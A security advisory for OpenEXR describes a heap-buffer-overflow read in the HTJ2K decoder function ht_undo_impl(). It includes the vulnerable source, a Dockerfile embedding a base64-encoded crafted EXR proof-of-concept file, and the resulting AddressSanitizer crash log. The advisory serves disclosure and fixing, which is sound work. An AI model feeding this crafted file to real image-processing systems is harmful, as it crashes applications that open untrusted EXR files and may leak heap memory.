Skip to content

GHSA-gjpj-qv64-vwhf

CVE Information

Summary

OpenEXR's HTJ2K (High-Throughput JPEG 2000) decoder, ht_undo_impl() in OpenEXRCore, copies decoded pixels out of a per-line OpenJPH buffer using the EXR channel's declared width as the iteration count. The codestream embedded in the EXR chunk can declare different (smaller) tile/line dimensions than the EXR header advertises, but ht_undo_impl() does not validate this — it pulls width 32-bit samples from cur_line->i32[] without checking the OpenJPH line buffer's actual length. A crafted EXR file produces a 4-byte heap-buffer-overflow READ immediately after a buffer allocated by ojph::local::codestream::finalize_alloc(). The bug is reachable through the standard scanline-decode entry point used by every consumer of exr_decoding_run/Imf::checkOpenEXRFile, including thumbnailers, asset pipelines, and the exrcheck utility — i.e. any application that opens untrusted EXR files. The result is a deterministic crash (DoS) and potential adjacent-heap leak.

Details

OpenEXR 3.x added a new lossy/lossless compression mode "HTJ2K" backed by the bundled OpenJPH codestream library. For each scanline chunk, ht_undo_impl() constructs an ojph::codestream, has it parse the embedded JP2 codestream, then copies decoded samples component-by-component out of OpenJPH's per-line buffers (cur_line->i32[]) into the destination raster.

Vulnerable Code

From src/lib/OpenEXRCore/internal_ht.cpp at HEAD 15b620b (lines 296–321):

for (int16_t c = 0; c < decode->channel_count; c++)
{
    int file_c = cs_to_file_ch[c].file_index;
    cur_line   = cs.pull (next_comp);
    assert (next_comp == c);
    if (decode->channels[file_c].data_type == EXR_PIXEL_HALF)
    {
        int16_t* channel_pixels =
            (int16_t*) (line_pixels + cs_to_file_ch[c].raster_line_offset);
        for (int32_t p = 0; p < decode->channels[file_c].width;
             p++)
        {
            *channel_pixels++ = cur_line->i32[p];   // ← line 309: OOB READ
        }
    }
    else
    {
        int32_t* channel_pixels =
            (int32_t*) (line_pixels + cs_to_file_ch[c].raster_line_offset);
        for (int32_t p = 0; p < decode->channels[file_c].width;
             p++)
        {
            *channel_pixels++ = cur_line->i32[p];   // ← same pattern, int32 path
        }
    }
}

Plain explanation: the loop trusts decode->channels[file_c].width (a value derived from the EXR header) as the number of samples available in cur_line->i32[] (a buffer sized by the HTJ2K codestream). When the embedded codestream declares smaller per-component dimensions than the EXR channel layout requires, the loop walks off the end of the OpenJPH-allocated line buffer.

Precise explanation: - cs_to_file_ch[c].file_index resolves to an EXR channel index. decode->channels[file_c].width is set by the EXR scanline geometry (data window). - cur_line = cs.pull(next_comp) returns OpenJPH's internal ojph::line_buf*. Its .i32 storage is allocated inside ojph::local::codestream::finalize_alloc() based on the JP2 codestream's SIZ marker (Xsiz - XOsiz, downsampled per component). - These two width values are never cross-validated. A codestream advertising a smaller line size than the EXR data window produces an i32 array shorter than width, and the loop reads past the allocation. - ASAN observes a 4-byte READ at 0x...e5429, exactly 0 bytes past a 21033-byte allocation — i.e. p == width-1 reads the dword starting at the byte just after the allocation's last addressable octet.

The fix in commit 15b620b ("Cast to size_t to avoid int overflow in ht_undo_impl", 2026-05-06) addresses a different failure mode in the same function — integer overflow in bpl, computedoffset, and the line_pixels stride increment when width * bytes_per_element overflows 32 bits. It does not add any check against cur_line's actual sample count, and the PoC still reprodfuces against 15b620b.

PoC

To construct the PoC we rely on a Dockerfile that mimics the building of a fuzzer and contains the payload in a base64 decoded format:

FROM gcr.io/oss-fuzz-base/base-builder

RUN apt-get update && apt-get install -y make autoconf automake libtool zlib1g-dev git

# Pin to current HEAD as of 2026-05-06 (still vulnerable; commit 15b620b
# fixed integer-overflow in offset math but not the cur_line OOB read at
# internal_ht.cpp:309).
ENV OPENEXR_COMMIT=15b620b523dd0392cf8144f2629c95db3525e2ac

RUN git clone https://github.com/AcademySoftwareFoundation/openexr $SRC/openexr
WORKDIR $SRC/openexr
RUN git checkout $OPENEXR_COMMIT

# Patch out failing test (mirrors OSS-Fuzz openexr Dockerfile)
RUN sed -i "s/TEST (testAttrBytes/\/\/TEST (testAttrBytes/g" $SRC/openexr/src/test/OpenEXRCoreTest/main.cpp

# Required build flags for symbolized stack traces with ASAN
ENV SANITIZER=address
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address -stdlib=libc++"
ENV LDFLAGS="-fsanitize=address"

ENV LIB_FUZZING_ENGINE=-fsanitize=fuzzer

# Build using OpenEXR's oss-fuzz preset (mirrors projects/openexr/build.sh)
RUN export BUILD_DIR=$WORK/_build.oss-fuzz && \
    mkdir -p $BUILD_DIR $OUT && \
    ./src/test/oss-fuzz/oss-fuzz_build.sh

# PoC embedded as base64 (674 bytes, OpenEXR scanline image triggering OOB read
# at internal_ht.cpp:309). Decoded at image-build time so the Dockerfile is
# self-contained and requires no external build context.
RUN echo 'di8xAQIAAAB0eXBlAHN0cmluZwANAAAAc2NhbmxpbmVpbWFnZW5hbWUAc3RyaW5nAAQAAABtYWluZGF0YVdpbmRvdwBib3gyaQAQAAAAAAAAAAAAAAD/BwAAAAAAAGRpc3BsYXlXaW5kb3cAYm94MmkAEAAAAAAAAAAAAAAA/wcAAAAAAABjb21wcmVzc2lvbgBjb21wcmVzc2lvbgABAAAAC2xpbmVPcmRlcgBsaW5lT3JkZXIAAQAAAABwaXhlbEFzcGVjdFJhdGlvAGZsb2F0AAQAAAAAAIA/c2NyZWVuV2luZG93Q2VudGVyAHYyZgAIAAAAAAAAAAAAAABzY3JlZW5XaW5kb3dXaWR0aABmbG9hdAAEAAAAAACAP2NoYW5uZWxzAGNobGlzdAATAAAAUgABAAAAAAAAAAEAAAABAAAAAABOAQAAAAAAAAAAAABMAQAASFQAAAAEAAEAAP9P/1EAKcIAAAAIAAAAAAEAAAAAAAAAAAAACAAAAAABAAAAAAAAAAAAAY//Af9QAAgAAgAAAAr/UgANAQIAAQAABQNAAVf/XAATIIiQkJCQkJCQkJCQkJCIiIj/dgAGAACPA/9kABcAAU9wZW5KUEggVmVyIDAuMjYuMy7/kAAKAAAAAADEAAH/k8AAL6sA/nf/W/9t/3Z/+9/+t/9t/3Z/+9/+t/9t/3Z/+9/+t/9t/3Z/+9/+t/9t/3Z/+9/+t/9t/3Z/+9/+t/9t/3Z/+9/+t/9t/3Z/+9/+t/9t/3Z/+9/+t/9t/3Z/+9/+t/9t/3Z/+9/+t/9t/3Z/+9/+t/9t/34AAAc4GtHOBrRzga0c4GtHOBrRzga0c4GtHOBrRzga0c4GtHOBrRzga0c4GtHOBrRzga0c4Go4AwAAAAAA/9k=' \
    | base64 -d > /tmp/poc

CMD ["/out/openexr_exrcorecheck_fuzzer", "/tmp/poc"]

Simply build and run the Docker container:

docker build -t poc-1 .
docker run poc-1
...
INFO: Running with entropic power schedule (0xFF, 100).
INFO: Seed: 3813788719
/out/openexr_exrcorecheck_fuzzer: Running 1 inputs 1 time(s) each.
Running: /tmp/poc
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7e6a413e5428 at pc 0x560aa6699d01 bp 0x7ffe50c1dd10 sp 0x7ffe50c1dd08
READ of size 4 at 0x7e6a413e5428 thread T0
    #0 0x560aa6699d00 in ht_undo_impl(_exr_decode_pipeline*, void const*, unsigned long, void*, unsigned long) /src/openexr/src/lib/OpenEXRCore/internal_ht.cpp:309:45
    #1 0x560aa6699d00 in internal_exr_undo_ht /src/openexr/src/lib/OpenEXRCore/internal_ht.cpp:342:16
    #2 0x560aa6645457 in exr_uncompress_chunk /src/openexr/src/lib/OpenEXRCore/compression.c:546:14
    #3 0x560aa666c10a in exr_decoding_run /src/openexr/src/lib/OpenEXRCore/decoding.c:580:14
    #4 0x560aa647934c in Imf_4_0::(anonymous namespace)::readCoreScanlinePart(_priv_exr_context_t*, int, bool, bool) /src/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1447:18
    #5 0x560aa647934c in Imf_4_0::(anonymous namespace)::checkCoreFile(_priv_exr_context_t*, bool, bool) /src/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1675:17
    #6 0x560aa647762c in Imf_4_0::(anonymous namespace)::runCoreChecks(char const*, unsigned long, bool, bool) /src/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1817:15
    #7 0x560aa647762c in Imf_4_0::checkOpenEXRFile(char const*, unsigned long, bool, bool, bool) /src/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1849:16
    #8 0x560aa6476008 in LLVMFuzzerTestOneInput /src/openexr/src/test/oss-fuzz/openexr_exrcorecheck_fuzzer.cc:14:5
    #9 0x560aa631393d in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:619:13
    #10 0x560aa62fe6b2 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:329:6
    #11 0x560aa6304580 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:865:9
    #12 0x560aa63300b2 in main /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:10
    #13 0x7fca423de082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: 5792732f783158c66fb4f3756458ca24e46e827d)
    #14 0x560aa62f779d in _start (/out/openexr_exrcorecheck_fuzzer+0x9c79d)

0x7e6a413e5429 is located 0 bytes after 21033-byte region [0x7e6a413e0200,0x7e6a413e5429)
allocated by thread T0 here:
    #0 0x560aa6432294 in malloc /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:67:3
    #1 0x560aa66d8fcb in ojph::mem_fixed_allocator::alloc() /src/openexr/external/OpenJPH/src/core/openjph/ojph_mem.h:93:17
    #2 0x560aa66d8fcb in ojph::local::codestream::finalize_alloc() /src/openexr/external/OpenJPH/src/core/codestream/ojph_codestream_local.cpp:213:18
    #3 0x560aa66de9c3 in ojph::local::codestream::read() /src/openexr/external/OpenJPH/src/core/codestream/ojph_codestream_local.cpp:898:13
    #4 0x560aa6698928 in ht_undo_impl(_exr_decode_pipeline*, void const*, unsigned long, void*, unsigned long) /src/openexr/src/lib/OpenEXRCore/internal_ht.cpp:227:8
    #5 0x560aa6698928 in internal_exr_undo_ht /src/openexr/src/lib/OpenEXRCore/internal_ht.cpp:342:16
    #6 0x560aa6645457 in exr_uncompress_chunk /src/openexr/src/lib/OpenEXRCore/compression.c:546:14
    #7 0x560aa666c10a in exr_decoding_run /src/openexr/src/lib/OpenEXRCore/decoding.c:580:14
    #8 0x560aa647934c in Imf_4_0::(anonymous namespace)::readCoreScanlinePart(_priv_exr_context_t*, int, bool, bool) /src/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1447:18
    #9 0x560aa647934c in Imf_4_0::(anonymous namespace)::checkCoreFile(_priv_exr_context_t*, bool, bool) /src/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1675:17
    #10 0x560aa647762c in Imf_4_0::(anonymous namespace)::runCoreChecks(char const*, unsigned long, bool, bool) /src/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1817:15
    #11 0x560aa647762c in Imf_4_0::checkOpenEXRFile(char const*, unsigned long, bool, bool, bool) /src/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1849:16
    #12 0x560aa6476008 in LLVMFuzzerTestOneInput /src/openexr/src/test/oss-fuzz/openexr_exrcorecheck_fuzzer.cc:14:5
    #13 0x560aa631393d in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:619:13
    #14 0x560aa62fe6b2 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:329:6
    #15 0x560aa6304580 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:865:9
    #16 0x560aa63300b2 in main /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:10
    #17 0x7fca423de082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: 5792732f783158c66fb4f3756458ca24e46e827d)

SUMMARY: AddressSanitizer: heap-buffer-overflow /src/openexr/src/lib/OpenEXRCore/internal_ht.cpp:309:45 in ht_undo_impl(_exr_decode_pipeline*, void const*, unsigned long, void*, unsigned long)
Shadow bytes around the buggy address:
  0x7e6a413e5180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7e6a413e5200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7e6a413e5280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7e6a413e5300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7e6a413e5380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7e6a413e5400: 00 00 00 00 00[01]fa fa fa fa fa fa fa fa fa fa
  0x7e6a413e5480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7e6a413e5500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7e6a413e5580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7e6a413e5600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7e6a413e5680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1==ABORTING

Attribution

This issue was found by Anthropic from using Claude to study security of open source projects, and I am from Ada Logics helping validate the found issues and report to maintainers. The data in this report has been reviewed manually.